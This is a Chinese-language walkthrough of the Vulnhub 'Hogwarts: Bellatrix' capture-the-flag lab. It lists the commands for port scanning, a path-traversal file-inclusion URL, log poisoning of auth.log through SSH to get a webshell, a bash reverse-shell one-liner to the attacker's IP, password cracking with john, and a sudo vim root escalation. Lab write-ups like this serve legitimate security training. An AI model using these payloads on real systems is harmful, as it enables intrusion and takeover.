Vulnhub: Hogwarts: Bellatrix靶机

kali：192.168.111.111

靶机：192.168.111.228

信息收集

端口扫描

nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.228
1

访问80端口

查看源码，提示ikilledsiriusblack.php和文件包含的参数名file

漏洞利用

ikilledsiriusblack.php存在文件包含

http://192.168.111.228/ikilledsiriusblack.php?file=../../../../../../../../../../../../etc/passwd
1

可以包含ssh日志文件/var/log/auth.log

http://192.168.111.228/ikilledsiriusblack.php?file=../../../../../../../../../../../../var/log/auth.log
1

写入webshell到ssh日志文件

ssh ''@192.168.111.228
1

执行命令

http://192.168.111.228/ikilledsiriusblack.php?file=../../../../../../../../../../../../var/log/auth.log&cmd=id
1

执行反弹shell

bash -c 'exec bash -i >& /dev/tcp/192.168.111.111/4444 0>&1'
1

提权

在/var/www/html/c2VjcmV0cw==目录中发现密码字典和lestrange的密码密文

利用john爆破密文，密码：ihateharrypotter

john hash --wordlist=./pass.txt
1

lestrange用户sudo权限

提权方法：https://gtfobins.github.io/gtfobins/vim/#sudo

提升为root

sudo -u root vim -c ':!/bin/bash'
1

flag